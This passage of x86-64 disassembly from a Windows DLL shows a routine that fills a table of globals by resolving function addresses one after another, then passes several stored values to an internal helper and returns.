mov rcx, rdi
mov qword [0x180040ba0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041530]
mov rcx, rdi
mov qword [0x180040bb0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041540]
mov rcx, rdi
mov qword [0x180040ba8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041548]
mov rcx, rsi
mov qword [0x180040bb8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041550]
mov rcx, r13
mov qword [0x180040bc0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041558]
mov rcx, rdi
mov qword [0x180040bc8], rax
call qword [0x1800407f8]
mov rbx, qword [rsp + 0x20]
mov rdx, qword [0x180041560]
mov rcx, rbx
mov qword [0x180040bd0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041568]
mov rcx, rdi
mov qword [0x180040bd8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041570]
mov qword [0x180040be0], rax
mov rcx, rbx
call qword [0x1800407f8]
mov rdx, qword [0x180041578]
mov rcx, rbx
mov qword [0x180040be8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041580]
mov rcx, rbx
mov qword [0x180040bf0], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041588]
mov rcx, rbx
mov qword [0x180040bf8], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041590]
mov rcx, rbx
mov qword [0x180040c00], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041598]
mov rcx, rbx
mov qword [0x180040c08], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415a0]
mov rcx, rbx
mov qword [0x180040c10], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415a8]
mov rcx, rdi
mov qword [0x180040c18], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415b0]
mov rcx, rdi
mov qword [0x180040c20], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415b8]
mov rcx, rdi
mov qword [0x180040c28], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415c0]
mov rcx, rbx
mov qword [0x180040c30], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415c8]
mov rcx, rdi
mov qword [0x180040c38], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415d0]
mov rcx, rdi
mov qword [0x180040c40], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415d8]
mov rcx, qword [rsp + 0x98]
mov qword [0x180040c48], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415e0]
mov rcx, qword [rsp + 0x98]
mov qword [0x180040c50], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415e8]
mov rcx, rbp
mov qword [0x180040c58], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415f0]
mov rcx, rbp
mov qword [0x180040c60], rax
call qword [0x1800407f8]
mov rdx, qword [0x1800415f8]
mov rcx, rsi
mov qword [0x180040c68], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041600]
mov rcx, rbp
mov qword [0x180040c70], rax
call qword [0x1800407f8]
mov rdx, qword [0x180041608]
mov rcx, rbp
mov qword [0x180040c78], rax
call qword [0x1800407f8]
mov rcx, qword [0x1800410b0]
mov qword [0x180040c80], rax
call fcn.180007034
mov qword [0x180041110], rax
mov rcx, qword [0x180041740]
call fcn.180007034
mov rcx, qword [0x180041738]
mov qword [0x1800419f8], rax
call fcn.180007034
mov rcx, qword [0x1800410f0]
mov qword [0x1800419f0], rax
call fcn.180007034
mov rcx, qword [0x180041098]
mov qword [0x180041118], rax
call fcn.180007034
mov rcx, qword [0x1800410a0]
mov qword [0x180041108], rax
call fcn.180007034
mov qword [0x180041100], rax
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret